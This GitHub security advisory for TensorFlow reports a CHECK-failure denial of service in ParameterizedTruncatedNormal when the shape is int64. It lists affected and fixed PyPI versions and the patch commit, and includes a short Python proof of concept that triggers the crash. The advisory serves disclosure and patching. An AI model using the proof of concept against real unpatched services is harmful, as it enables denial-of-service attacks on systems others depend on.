GHSA-p2xf-8hgm-hpw5 TensorFlow vulnerable to `CHECK` fail in `ParameterizedTruncatedNormal`

• PyPI tensorflow: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-cpu: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-cpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-cpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-gpu: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-gpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-gpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1

Impact `ParameterizedTruncatedNormal` assumes `shape` is of type `int32`. A valid `shape` of type `int64` results in a mismatched type `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf seed = 1618 seed2 = 0 shape = tf.random.uniform(shape=[3], minval=-10000, maxval=10000, dtype=tf.int64, seed=4894) means = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971) stdevs = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971) minvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971) maxvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971) tf.raw_ops.ParameterizedTruncatedNormal(shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals, seed=seed, seed2=seed2) ``` Patches We have patched the issue in GitHub commit 72180be03447a10810edca700cbc9af690dfeb51. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University